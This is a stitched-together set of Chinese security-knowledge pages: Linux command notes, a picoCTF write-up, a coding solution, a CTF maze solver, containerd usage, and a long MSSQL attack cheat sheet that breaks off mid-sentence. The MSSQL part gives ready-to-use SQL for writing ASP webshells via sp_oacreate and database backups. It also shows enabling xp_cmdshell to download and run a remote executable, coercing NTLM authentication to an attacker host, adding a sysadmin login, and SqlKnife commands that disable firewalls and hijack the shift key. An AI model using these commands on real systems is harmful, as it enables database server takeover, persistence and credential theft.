newusers === 用于批处理的方式一次创建多个命令 ## 补充说明 **newusers命令** 用于批处理的方式一次创建多个命令。 ### 语法 ```shell newusers(参数) ``` ### 参数 用户文件:指定包含用户信息的文本文件,文件的格式要与`/etc/passwd`相同。 ### 实例 实用newusers命令批量添加用户: 用法很简单,newusers后面直接跟一个文件,文件格式和`/etc/passwd`的格式相同。 ```shell 用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL ``` 举例: ```shell jingang0:x:520:520::/home/jingang0:/sbin/nologin jingang1:x:521:521::/home/jingang1:/sbin/nologin ...... ``` 值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看: ```shell [root@localhost beinan]# chsh --list /bin/sh /bin/bash /sbin/nologin /bin/ksh /bin/tcsh /bin/csh /bin/zsh ``` 其中除了`/sbin/nologin`,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成`/sbin/nologin`,比如上面的例子。 关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。
sec-knowleage
# Investigative Reversing 0 Forensics, 300 points ## Description: > We have recovered a binary and an image. See what you can make of it. There should be a flag somewhere. ## Solution: We receive a binary file and an image. Let's inspect the binary with Ghidra: ```c void main(void) { long lVar1; FILE *__flag_stream; FILE *__img_stream; size_t sVar2; long in_FS_OFFSET; int i; int j; char flag [26]; lVar1 = *(long *)(in_FS_OFFSET + 0x28); __flag_stream = fopen("flag.txt","r"); __img_stream = fopen("mystery.png","a"); if (__flag_stream == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } if (__img_stream == (FILE *)0x0) { puts("mystery.png is missing, please run this on the server"); } sVar2 = fread(flag,26,1,__flag_stream); if ((int)sVar2 < 1) { /* WARNING: Subroutine does not return */ exit(0); } puts("at insert"); fputc((int)flag[0],__img_stream); fputc((int)flag[1],__img_stream); fputc((int)flag[2],__img_stream); fputc((int)flag[3],__img_stream); fputc((int)flag[4],__img_stream); fputc((int)flag[5],__img_stream); i = 6; while (i < 0xf) { fputc((int)(char)(flag[i] + '\x05'),__img_stream); i = i + 1; } fputc((int)(char)(flag[15] + -3),__img_stream); j = 16; while (j < 26) { fputc((int)flag[j],__img_stream); j = j + 1; } fclose(__img_stream); fclose(__flag_stream); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } ``` We can see that the program opens the flag file, and places an encoded version of it at the end of the image file: ```console root@kali:/media/sf_CTFs/pico/Investigative_Reversing_0# xxd -g 1 mystery.png | tail 0001e7f0: 82 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 . .. .. .. d.2.! 0001e800: 08 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 .. .. .. .B.!#.. 0001e810: 20 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 .. .. .. d.2.!. 0001e820: 82 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 . .. .. .B.!#.. 0001e830: 08 82 20 08 82 20 08 82 20 64 1f 32 12 21 08 82 .. .. .. d.2.!.. 0001e840: 20 08 82 20 08 82 20 08 42 f6 21 23 11 82 20 08 .. .. .B.!#.. . 0001e850: 82 20 08 82 20 08 82 20 64 17 ff ef ff fd 7f 5e . .. .. d......^ 0001e860: ed 5a 9d 38 d0 1f 56 00 00 00 00 49 45 4e 44 ae .Z.8..V....IEND. 0001e870: 42 60 82 70 69 63 6f 43 54 4b 80 6b 35 7a 73 69 B`.picoCTK.k5zsi 0001e880: 64 36 71 5f 66 62 36 39 66 36 63 32 7d d6q_fb69f6c2} ``` We can easily reverse the logic with the following script: ```python import os import mmap def memory_map(filename, access=mmap.ACCESS_READ): size = os.path.getsize(filename) fd = os.open(filename, os.O_RDONLY) return mmap.mmap(fd, size, access=access) with memory_map("mystery.png") as b: flag = b[-26:] for i in range(6): print(chr(flag[i]), end='') for i in range(6, 15): print(chr(flag[i] - 5), end='') print(chr(flag[15] + 3), end='') for i in range(16, 26): print(chr(flag[i]), end='') print ("") ``` Output: ```console root@kali:/media/sf_CTFs/pico/Investigative_Reversing_0# python3 solve.py picoCTF{f0und_1t_fb69f6c2} ```
sec-knowleage
# 16. 数值的整数次方 ## 题目链接 [牛客网](https://www.nowcoder.com/practice/1a834e5e3e1a4b7ba251417554e07c00?tpId=13&tqId=11165&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 给定一个 double 类型的浮点数 x和 int 类型的整数 n,求 x 的 n 次方。 ## 解题思路 <!-- <div align="center"><img src="https://latex.codecogs.com/gif.latex?x^n=\left\{\begin{array}{rcl}x^{n/2}*x^{n/2}&&{n\%2=0}\\x*(x^{n/2}*x^{n/2})&&{n\%2=1}\end{array}\right." class="mathjax-pic"/></div> <br> --> 最直观的解法是将 x 重复乘 n 次,x\*x\*x...\*x,那么时间复杂度为 O(N)。因为乘法是可交换的,所以可以将上述操作拆开成两半 (x\*x..\*x)\* (x\*x..\*x),两半的计算是一样的,因此只需要计算一次。而且对于新拆开的计算,又可以继续拆开。这就是分治思想,将原问题的规模拆成多个规模较小的子问题,最后子问题的解合并起来。 本题中子问题是 x<sup>n/2</sup>,在将子问题合并时将子问题的解乘于自身相乘即可。但如果 n 不为偶数,那么拆成两半还会剩下一个 x,在将子问题合并时还需要需要多乘于一个 x。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/image-20201105012506187.png" width="400px"> </div><br> 因为 (x\*x)<sup>n/2</sup> 可以通过递归求解,并且每次递归 n 都减小一半,因此整个算法的时间复杂度为 O(logN)。 ```java public double Power(double x, int n) { boolean isNegative = false; if (n < 0) { n = -n; isNegative = true; } double res = pow(x, n); return isNegative ? 1 / res : res; } private double pow(double x, int n) { if (n == 0) return 1; if (n == 1) return x; double res = pow(x, n / 2); res = res * res; if (n % 2 != 0) res *= x; return res; } ```
sec-knowleage
#include <iostream> #include <deque> #include <sstream> #include <iomanip> #include <cmath> #include <X11/Xlib.h> #include <X11/Xutil.h> #include <X11/extensions/XTest.h> #include "xsim.h" using namespace std; const int keys[] = {XK_Down, XK_Up, XK_Left, XK_Right}; string lines[36]; int odw[500][500]; deque<int> sol; int ny[] = {0, 0, -1, 1}; int nx[] = {1, -1, 0, 0}; int tx = 24, ty = 47; int solve(int x, int y) { odw[x][y] = 1; for(int i = 0; i < 4; ++i) { int cx = x+nx[i]; int cy = y+ny[i]; if(cx < 0 || cy < 0) continue; if(odw[cx][cy]) continue; if(cx == tx && cy == ty) return 1; if(lines[cx][cy] != ' ' && lines[cx][cy] != 'x') continue; if(solve(cx, cy) == 1) { sol.push_front(i); return 1; } } return 0; } vector<string> rown; int main() { XSim* xsim = new XSim(); for(int j = 0; j < 3; ++j) { for(int i = 0; i < 500; ++i) for(int ii = 0; ii < 500; ++ii) odw[i][ii] = 0; sol.clear(); for(int i = 0; i < 29; ++i) { getline(cin, lines[i]); if(lines[i] == "") --i; } for(int i = 26; i < 29; ++i) { string input = lines[i]; stringstream stream(input); int a, b, c; char p; stream >> a; stream >> p; stream >> p; stream >> b; stream >> p; stream >> c; int delta = b*b-4*a*c; if(delta < 0) { rown.push_back("nrr"); } else if(delta == 0) { double x = (-b)/(2.0*a); stringstream str; str << "x1=x2=" << fixed << setprecision(1) << x; rown.push_back(str.str()); } else { double x1= (-b+sqrt(delta))/(2.0*a); double x2 = (-b-sqrt(delta))/(2.0*a); stringstream str; str << "x1=" << fixed << setprecision(1) << x1 << ";x2=" << fixed << setprecision(1) << x2; rown.push_back(str.str()); } } cout << "ok, ok!" << endl; solve(1, 2); cout << "solved! now, go go!" << endl; xsim->sleepW(2000000); for(int i = 0; i < sol.size(); ++i) { xsim->pressK(keys[sol[i]]); xsim->releaseK(keys[sol[i]]); } xsim->pressK(XK_Down); xsim->releaseK(XK_Down); if(j < 2) { xsim->pressK(XK_Right); xsim->releaseK(XK_Right); } } for(int i = 0; i < rown.size()-1; ++i) cout << rown[i] << ","; cout << rown[rown.size()-1] << endl; char c; while(1) cin >> c; return 0; }
sec-knowleage
.TH KILLALL 1 1999年9月7日 Linux User Commands(用户命令) .SH NAME (名称) killall \- 以名字方式来杀死进程 .SH SYNOPSIS (总览) .ad l .B killall .RB [ \-egiqvw ] .RB [ \-\fIsignal\fB ] .I name ... .br .B killall .RB \-l .br .B killall .RB \-V .ad b .SH DESCRIPTION (描述) .B killall 发送一条信号给所有运行任意指定命令的进程. 如果没有指定信号名, 则发送 SIGTERM. .PP 信号可以以名字 (如 \fB\-HUP\fP ) 或者数字 (如 \fB\-1\fP ) 的方式指定. 信号 0 (检查进程是否存在)只能以数字方式指定. .PP 如果命令名包括斜杠 (\fB/\fP), 那么执行该特定文件的进程将被杀掉, 这与进程名无关. .PP 如果对于所列命令无进程可杀, 那么 \fBkillall\fP 会返回非零值. 如果对于每条命令至少杀死了一个进程, \fBkillall\fP 返回 0. .PP \fBkillall\fP 进程决不会杀死自己 (但是可以杀死其它 \fBkillall\fP 进程). .SH OPTIONS (选项) .IP \fB\-e\fP 对于很长的名字, 要求准确匹配. 如果一个命令名长于 15 个字符, 则可能不能用整个名字 (溢出了). 在这种情况下, \fBkillall\fP 会杀死所有匹配名字前 15 个字符的所有进程. 有了 \fB\-e\fP 选项,这样的记录将忽略. 如果同时指定了 \fB\-v\fP 选项, \fBkillall\fP 会针对每个忽略的记录打印一条消息. .IP \fB\-g\fP 杀死属于该进程组的进程. kill 信号给每个组只发送一次, 即使同一进程组中包含多个进程. .IP \fB\-i\fP 交互方式,在杀死进程之前征求确认信息. .IP \fB\-l\fP 列出所有已知的信号名. .IP \fB\-q\fP 如果没有进程杀死, 不会提出抱怨. .IP \fB\-v\fP 报告信号是否成功发送. .IP \fB\-V\fP 显示版本信息. .IP \fB\-w\fP 等待所有杀的进程死去. \fBkillall\fP 会每秒检查一次是否任何被杀的进程仍然存在, 仅当都死光后才返回. 注意: 如果信号被忽略或没有起作用, 或者进程停留在僵尸状态, \fBkillall\fP 可能会永久等待. .SH FILES(相关文件) .nf /proc proc文件系统的存在位置 .fi .SH "KNOWN BUGS (已知 BUGS)" 以文件方式杀死只对那些在执行时一直打开的可执行文件起作用, 也即, 混杂的可执行文件不能够通过这种方式杀死. .PP 要警告的是输入 \fBkillall\fP \fIname\fP 可能不会在非 Linux 系统上产生预期的效果, 特别是特权用户执行时要小心. .PP 在两次扫描的间隙, 如果进程消失了而被代之以一个有同样 PID 的新进程, \fBkillall \-w\fP 侦测不到. .SH AUTHOR (作者) Werner Almesberger &lt;Werner.Almesberger@epfl.ch&gt; .SH SEE ALSO (又见) kill(1), fuser(1), pidof(1), ps(1), kill(2) .\" {{{}}} .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .BR 2001/08/08 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# containerd > 项目地址 : https://github.com/containerd/containerd --- ## 安装 如果你安装了docker,你的主机里就会有 containerd 所以这里略 ## 使用 ```bash containerd -h ctr -h ``` **pull image** ```bash ctr images pull docker.io/library/golang:latest ctr images ls -q # -q for only the name ``` **delect image** ```bash ctr images rm docker.io/library/redis:alpine ``` **从 Dockerfile 导入 containerd** ```bash docker save -o hello-world.tar hello-world # 将 image 保存为 .tar 文件 # docker save -o tar-filename.tar image-name ctr images import hello-world.tar # 导入 ``` **创建容器** ```bash ctr container create docker.io/library/golang:latest hello-1 ``` **启动容器** ```bash ctr task start hello-1 ``` 开启后默认进入容器,输入 whoami 查看 **删除容器** ```bash ctr container rm hello-1 ```
sec-knowleage
# MSSQL > fofa : app="Microsoft-SQL-Server" **MSSQL 基础** - [MSSQL](../../../../Integrated/数据库/笔记/MSSQL.md) **MSSQL 注入** - [MSSQL数据库注入笔记](../../Web安全/Web_Generic/SQLi.md#MSSQL) **环境搭建** - [MSSQL搭建](../../../../Integrated/Windows/实验/MSSQL搭建.md) **相关教程** - [aleenzz/MSSQL_SQL_BYPASS_WIKI](https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI) **相关文章** - [A look at some MS-SQL attacks (overview)](https://malwaremusings.com/2013/04/10/a-look-at-some-ms-sql-attacks-overview/) - [详述MSSQL服务在渗透测试中的利用(上篇)](https://www.cnblogs.com/ichunqiu/p/7249474.html) - [通过Mssql提权的几种姿势](https://www.cnblogs.com/N0r4h/p/12889944.html) - [How to Exploit SQL Server Using OLE Automation](https://www.imperva.com/blog/how-to-exploit-sql-server-using-ole-automation/) - [How to Exploit SQL Server Using Registry Keys](https://www.imperva.com/blog/how-to-exploit-sql-server-using-registry-keys/) - [A Deep Dive into Database Attacks [Part II]: Delivery and Execution of Malicious Executables through SQL commands (SQL Server)](https://www.imperva.com/blog/deep-dive-database-attacks-part-ii-delivery-execution-malicious-executables-sql-commands-sql-server/) - [【提权】MSSQL提权之sp_oacreate](https://www.jianshu.com/p/e79d2a42338b) - [MSSQL提权之xp_cmdshell、SP_OACreate、沙盒提权](https://www.cnblogs.com/bonelee/p/15864534.html) - [MSSQL[CLR]不落地执行](https://www.cnblogs.com/websecyw/p/11888947.html) - [MSSQL 利用 CLR 技术执行系统命令](https://cloud.tencent.com/developer/article/1736431) - [MSSQL使用CLR程序集来执行命令](https://xz.aliyun.com/t/6682) - [Mssql数据库命令执行总结](https://xz.aliyun.com/t/7534) - [SQL Server从0到1](https://mp.weixin.qq.com/s/N2siXJgmPAZ7CSIQ3FCF0w) - [从0开始学习Microsoft SQL Server数据库攻防](https://xz.aliyun.com/t/10955) - [SQL Server 用扩展存储过程进行文件操作](https://www.cnblogs.com/ljhdo/archive/2018/02/23/4996060.html) - [MSSQL Lateral Movement](https://research.nccgroup.com/2021/01/21/mssql-lateral-movement/) - [mssql 提权总结](https://tttang.com/archive/1545/) - [MSSQL GetShell方法](https://xz.aliyun.com/t/8603) - [MSSQL多种姿势拿shell和提权](https://y4er.com/post/mssql-getshell/) - [【红蓝对抗】SQL Server提权](https://mp.weixin.qq.com/s/5LmC_-KK3SMjtxAGG-I4ag) **相关案例** - [MSSQL绕过360提权实战案例](https://mp.weixin.qq.com/s/Ch342vyszfhUWSlkJEzMOA) - [记一次利用mssql上线](https://xz.aliyun.com/t/9265) **相关工具** - [0x727/SqlKnife_0x727](https://github.com/0x727/SqlKnife_0x727) - 适合在命令行中使用的轻巧的 SQL Server 数据库安全检测工具 ``` SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --xpcmd --fix # 启用xp_cmdshell SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --xpcmd -c whoami # 使用xp_cmdshell执行命令 SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --xpcmd --remove # 禁用xp_cmdshell SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --oacreate --fix # 恢复Ole Automation Procedures SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --oacreate -c calc.exe # Ole Automation Procedures执行程序 SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --openrdp # 开启RDP SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --disfw # 关闭防火墙 SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --shift # 劫持shift键 SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --dbup --fix --3 # 安装.net3.5的甜土豆提权存储过程,如果安装.net4.0的话就是--4 SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --dbup -c whoami # 利用甜土豆执行命令 SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --dbup2 --3 --fix # 安装.net3.5的EfsPotato提权存储过程,如果安装.net4.0的话就是--4 SqlKnife.exe -H 192.168.1.1 -P 1433 -u sa -p admin@123 --dbup2 -c whoami # 使用EfsPotato执行命令 ``` - [mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit](https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit) - WarSQLKit是一个针对Mssql CLR进行利用的渗透工具. - [NetSPI/PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server - [quentinhardy/msdat](https://github.com/quentinhardy/msdat) - Microsoft SQL Database Attacking Tool - [uknowsec/SharpSQLTools](https://github.com/uknowsec/SharpSQLTools) - 可上传下载文件,xp_cmdshell与sp_oacreate执行命令回显和clr加载程序集执行相应操作。 - [evi1ox/MSSQL_BackDoor](https://github.com/evi1ox/MSSQL_BackDoor) - [Ridter/PySQLTools](https://github.com/Ridter/PySQLTools) - Mssql利用工具 --- ## 中间人攻击 **相关文章** - [在不需要知道密码的情况下 Hacking MSSQL](https://tttang.com/archive/811/) - https://pastebin.com/Nge9rx7g ## 账号操作 **添加用户** ```sql -- 创建一个账号 f0x 密码为 Abcd1234!!! CREATE LOGIN f0x WITH PASSWORD='Abcd1234!!!'; ALTER SERVER ROLE sysadmin ADD MEMBER f0x; sp_addsrvrolemember 'f0x', 'sysadmin' ``` **查看用户和权限** 05 以下系统权限多为 system 08 以上系统权限默认不是 system 了,一般是 network service ``` select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name; ``` ## 常见存储过程 **xp_dirtree** xp_dirtree 用于显示当前目录的子目录,该存储过程有三个参数: - directory:第一个参数是要查询的目录; - depth :第二个参数是要显示的子目录的深度,默认值是 0,表示显示所有的子目录; - file :第三个参数是 bool 类型,指定是否显示子目录中的文件(file),默认值是 0,表示不显示任何文件,只显示子目录(directory); ```sql -- 只列 c:\ 文件夹 exec xp_dirtree 'c:',1 -- 列 c:\ 文件夹加文件 exec xp_dirtree 'c:',1,1 -- 列出所有 c:\ 文件和目录,子目录,内容会很多,慎用 exec xp_dirtree 'c:' ``` xp_dirtree 还可以用来触发 NTLM 请求 ```sql xp_dirtree '\\<attacker_IP>\any\thing' exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing' ``` **xp_subdirs** xp_subdirs 用于得到给定的文件夹内的文件夹列表 ```sql -- 列出 C:\\ 目录 exec xp_subdirs "C:\\" ``` **xp_fixeddrives** xp_fixeddrives 用于查看磁盘驱动器剩余(free)的空间 ```sql -- 查看磁盘驱动的空闲空间 EXEC xp_fixeddrives ``` **xp_availablemedia** xp_availablemedia 用于获得当前所有驱动器 ```sql -- 列出磁盘 EXEC xp_availablemedia ``` **xp_fileexist** 用于判断文件是否存在的存储过程,参数是文件(file)的路径或目录的路径 ```sql -- 判断文件 D:\test.txt 是否存在 exec master.sys.xp_fileexist 'D:\test.txt' ``` **xp_create_subdir** 用于创建子目录的存储过程,参数是子目录的路径 ```sql -- 创建子目录 D:\test exec master.sys.xp_create_subdir 'D:\test' ``` **xp_delete_file** 可用于删除文件的存储过程,但该存储过程不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)的文件。 ```sql -- 删除文件 declare @Date datetime = dateadd(day,-30,getdate()) exec master.sys.xp_delete_file 0,'D:\test\','bak',@Date,0 -- 第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件; -- 第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾; -- 第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN'; -- 第四个参数是Date,早于该日期创建的文件将会被删除; -- 第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件; ``` **xp_regenumkeys** xp_regenumkeys 可以查看指定的注册表 ```sql -- 枚举可用的注册表键值 exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International' ``` **xp_regdeletekey** xp_regdeletekey 可以删除指定的注册表值 ```sql -- 删除指定的注册表值 EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'; ``` ## 存储过程写webshell **利用条件** - 拥有DBA权限 - 知道的网站绝对路径 **找绝对路径的方法** - 报错信息 - 配置文件 - iis6 : C:\Windows\system32\inetsrv\metabase.xml - iis7 : C:\Windows\System32\inetsrv\config\applicationHost.config - cmd命令搜索文件 - 找旁站路径 - xp_dirtree - xp_subdirs - 修改404页面 - 爆破路径 **利用方法** ```sql -- 判断当前是否为DBA权限,为1则可以提权 select is_srvrolemember('sysadmin'); -- 利用存储过程写入一句话,注意路径 declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\www\test.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>' ``` **修改404页面** > 来自文章 : https://xz.aliyun.com/t/8603 适用于2005或者高权限启动的2008 iis的报错页面一般都在 `C:\inetpub\custerr\zh-CN` ```sql exec sp_configure 'show advanced options', 1;RECONFIGURE exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm'; ``` 在访问 404 即可查看到配置文件的内容. 如果是 05 的数据库要修改配置文件路径 - iis6 404页面位置 : C:\WINDOWS\Help\iisHelp\common\404b.htm - iis6 配置文件 : C:\Windows\system32\inetsrv\metabase.xml ## 差异备份写webshell **漏洞描述** 在 sql server 里 dbo 和 sa 权限都有备份数据库权限,我们可以把数据库备份成 asp 文件,获得 webshell **利用条件** - 需要知道绝对路径,路径可写 **利用方法** ```sql -- 生成备份文件,注意库名和路径 backup database test to disk = 'c:\www\bak.bak'; -- 创建表: create table [dbo].[test] ([cmd] [image]); -- 插入一句话:<%execute(request("a"))%> insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E) -- 再次备份,注意路径 backup database test to disk='C:\www\shell.asp' WITH DIFFERENTIAL,FORMAT; ``` 因为权限的问题,最好不要备份到盘符根目录,如果这种方式失败,大概率是备份的目录没有写权限 当过滤了特殊的字符比如单引号,或者 路径符号 都可以使用定义局部变量来执行。 ## 日志备份写webshell **优势** - 重复性好,多次备份的成功率高 - 相对于差异备份而言,shell 的体积较小 **利用条件** - 拥有 DBA 权限 - 知道网站绝对路径,并且可写 - 站库不分离 - 数据库必须被备份过一次 **利用方法** ```sql -- 判断当前是否为DBA权限,为1则可以提权 select is_srvrolemember('sysadmin'); -- 利用存储过程写入一句话,注意库名和路径 alter database 库名 set RECOVERY FULL create table cmd (a image) backup log 库名 to disk = 'c:\www' with init insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) backup log 库名 to disk = 'c:\www\2.asp' ``` ## sp_addextendedproc sp_addextendedproc 可以利用于恢复组件 ```sql EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll' EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll' EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll' EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll' EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll' EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll' ``` ## xp_cmdshell **漏洞描述** xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。 **利用条件** - 拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。 - 依赖 xplog70.dll ```sql -- 判断当前是否为DBA权限,为1则可以提权 select is_srvrolemember('sysadmin'); -- 查看是否存在 xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; -- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭 select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' -- 关闭 xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; -- 开启 xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; -- 执行 xp_cmdshell exec master..xp_cmdshell 'cmd /c whoami' -- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行 exec master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""' -- 使用 xp_cmdshell 查找 aspx 后缀文件 CREATE TABLE cmdtmp (dir varchar(8000)); insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i' ``` **无会显,也无法进行 dnslog 怎么办** 通过临时表查看命令执行的结果 ```sql CREATE TABLE tmpTable (tmp1 varchar(8000)); insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig' select * from tmpTable ``` **常见报错** - 标记message: 配置选项 ‘xp_cmdshell’ 不存在,也可能是高级选 ```sql EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE; ``` **痕迹清理** 删除扩展存储过过程 xp_cmdshell ```sql exec sp_dropextendedproc 'xp_cmdshell' ``` **如果 xp_cmdshell 被删除了怎么办** 如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复 以mssql2012为例,默认路径为 ``` C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll ``` ```sql -- 判断存储扩展是否存在,返回结果为1就OK Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' -- 恢复xp_cmdshell,返回结果为1就OK Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll'; select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell' -- 否则上传xplog70.dll Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll' ``` **bypass** ``` ‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping xxx.burpcollaborator.net’ — ``` ## sp_oacreate (Ole Automation Procedures) **利用条件** - 拥有DBA权限 - 依赖 odsole70.dll ```sql -- 判断当前是否为DBA权限,为1则可以提权 select is_srvrolemember('sysadmin'); -- 判断SP_OACREATE状态,如果存在返回1 select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE' -- 启用 sp_oacreate exec sp_configure 'show advanced options',1;RECONFIGURE; exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE; -- 关闭 sp_oacreate exec sp_configure 'ole automation procedures',0;reconfigure; exec sp_configure 'show advanced options',0;reconfigure; ``` **wscript.shell 组件执行命令** ```sql declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) exec sp_oacreate 'wscript.shell',@ffffffff0x output exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; ``` ```sql declare @ffffffff0x int exec sp_oacreate 'wscript.shell',@ffffffff0x output exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt' ``` **利用 com 组件执行命令** ```sql declare @ffffffff0x int,@exec int,@text int,@str varchar(8000) exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami' exec sp_oamethod @exec, 'StdOut', @text out exec sp_oamethod @text, 'readall', @str out select @str; ``` **利用 com 组件写文件** ```sql DECLARE @ObjectToken INT; EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT; EXEC Sp_OASetProperty @ObjectToken, 'Type', 1; EXEC sp_oamethod @ObjectToken, 'Open'; EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078; EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2; EXEC sp_oamethod @ObjectToken, 'Close'; EXEC sp_OADestroy @ObjectToken; ``` **filesystemobject COM 对象利用** - https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/filesystemobject-object filesystemobject”COM 